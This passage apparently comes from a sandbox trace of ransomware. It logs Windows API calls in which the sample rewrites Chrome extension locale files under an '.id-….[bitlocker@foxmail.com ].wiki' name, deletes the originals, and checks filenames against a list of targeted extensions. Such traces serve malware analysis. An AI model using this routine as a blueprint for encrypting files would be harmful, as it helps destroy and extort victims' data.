lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xf9, lpOverlapped=0x0) returned 1 [0173.653] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.654] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.654] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.654] SetEndOfFile (hFile=0x1a0) returned 1 [0173.655] CloseHandle (hObject=0x1a0) returned 1 [0173.655] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.655] SetEndOfFile (hFile=0x19c) returned 1 [0173.655] CloseHandle (hObject=0x19c) returned 1 [0173.656] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.656] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json")) returned 1 [0173.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.656] lstrlenW (lpString=".doc") returned 4 [0173.656] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.656] lstrlenW (lpString=".docx") returned 5 [0173.656] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.656] lstrlenW (lpString=".pdf") returned 4 [0173.656] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.656] lstrlenW (lpString=".xls") returned 4 [0173.656] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.656] lstrlenW (lpString=".xlsx") returned 5 [0173.656] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.656] lstrlenW (lpString=".ppt") returned 4 [0173.656] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.656] lstrlenW (lpString=".zip") returned 4 [0173.656] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".rar") returned 4 [0173.657] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".bz2") returned 4 [0173.657] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".7z") returned 3 [0173.657] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.657] lstrlenW (lpString=".dbf") returned 4 [0173.657] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.657] lstrlenW (lpString=".1cd") returned 4 [0173.657] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.657] lstrlenW (lpString=".jpg") returned 4 [0173.657] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.657] lstrlenW (lpString=".doc") returned 4 [0173.657] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".docx") returned 5 [0173.657] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.657] lstrlenW (lpString=".pdf") returned 4 [0173.657] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".xls") returned 4 [0173.657] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.657] lstrlenW (lpString=".xlsx") returned 5 [0173.657] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.657] lstrlenW (lpString=".ppt") returned 4 [0173.657] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.658] lstrlenW (lpString=".zip") returned 4 [0173.658] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.658] lstrlenW (lpString=".rar") returned 4 [0173.658] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.658] lstrlenW (lpString=".bz2") returned 4 [0173.658] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.658] lstrlenW (lpString=".7z") returned 3 [0173.658] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.658] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.658] lstrlenW (lpString=".dbf") returned 4 [0173.658] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.658] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.658] lstrlenW (lpString=".1cd") returned 4 [0173.658] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.658] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 155 [0173.658] lstrlenW (lpString=".jpg") returned 4 [0173.658] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.658] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.658] lstrlenW (lpString="messages.json") returned 13 [0173.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.659] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=249) returned 1 [0173.659] CloseHandle (hObject=0x19c) returned 1 [0173.659] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0173.659] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.659] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.659] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.660] GetLastError () returned 0x0 [0173.660] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xf9, lpOverlapped=0x0) returned 1 [0173.661] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.661] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.661] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.662] SetEndOfFile (hFile=0x1a0) returned 1 [0173.662] CloseHandle (hObject=0x1a0) returned 1 [0173.662] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.662] SetEndOfFile (hFile=0x19c) returned 1 [0173.663] CloseHandle (hObject=0x19c) returned 1 [0173.663] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.663] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json")) returned 1 [0173.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.663] lstrlenW (lpString=".doc") returned 4 [0173.663] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.663] lstrlenW (lpString=".docx") returned 5 [0173.663] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.663] lstrlenW (lpString=".pdf") returned 4 [0173.663] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.663] lstrlenW (lpString=".xls") returned 4 [0173.663] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.663] lstrlenW (lpString=".xlsx") returned 5 [0173.663] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.663] lstrlenW (lpString=".ppt") returned 4 [0173.663] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString=".zip") returned 4 [0173.664] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".rar") returned 4 [0173.664] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".bz2") returned 4 [0173.664] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".7z") returned 3 [0173.664] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString=".dbf") returned 4 [0173.664] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString=".1cd") returned 4 [0173.664] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString=".jpg") returned 4 [0173.664] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.664] lstrlenW (lpString=".doc") returned 4 [0173.664] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".docx") returned 5 [0173.664] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.664] lstrlenW (lpString=".pdf") returned 4 [0173.664] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".xls") returned 4 [0173.664] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.664] lstrlenW (lpString=".xlsx") returned 5 [0173.664] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.665] lstrlenW (lpString=".ppt") returned 4 [0173.665] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.665] lstrlenW (lpString=".zip") returned 4 [0173.665] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.665] lstrlenW (lpString=".rar") returned 4 [0173.665] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.665] lstrlenW (lpString=".bz2") returned 4 [0173.665] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.665] lstrlenW (lpString=".7z") returned 3 [0173.665] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.665] lstrlenW (lpString=".dbf") returned 4 [0173.665] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.665] lstrlenW (lpString=".1cd") returned 4 [0173.665] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 155 [0173.665] lstrlenW (lpString=".jpg") returned 4 [0173.665] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.665] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.665] lstrlenW (lpString="messages.json") returned 13 [0173.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.666] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=259) returned 1 [0173.666] CloseHandle (hObject=0x19c) returned 1 [0173.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json")) returned 0x2020 [0173.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.666] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.666] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.667] GetLastError () returned 0x0 [0173.667] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x103, lpOverlapped=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.668] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.668] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.669] SetEndOfFile (hFile=0x1a0) returned 1 [0173.669] CloseHandle (hObject=0x1a0) returned 1 [0173.669] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.669] SetEndOfFile (hFile=0x19c) returned 1 [0173.669] CloseHandle (hObject=0x19c) returned 1 [0173.670] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.670] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json")) returned 1 [0173.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.670] lstrlenW (lpString=".doc") returned 4 [0173.670] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.670] lstrlenW (lpString=".docx") returned 5 [0173.670] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.670] lstrlenW (lpString=".pdf") returned 4 [0173.670] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.670] lstrlenW (lpString=".xls") returned 4 [0173.670] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.670] lstrlenW (lpString=".xlsx") returned 5 [0173.670] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.670] lstrlenW (lpString=".ppt") returned 4 [0173.670] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 152 [0173.760] lstrlenW (lpString=".zip") returned 4 [0173.760] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".rar") returned 4 [0173.760] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".bz2") returned 4 [0173.760] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.760] lstrlenW (lpString=".7z") returned 3 [0173.760] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 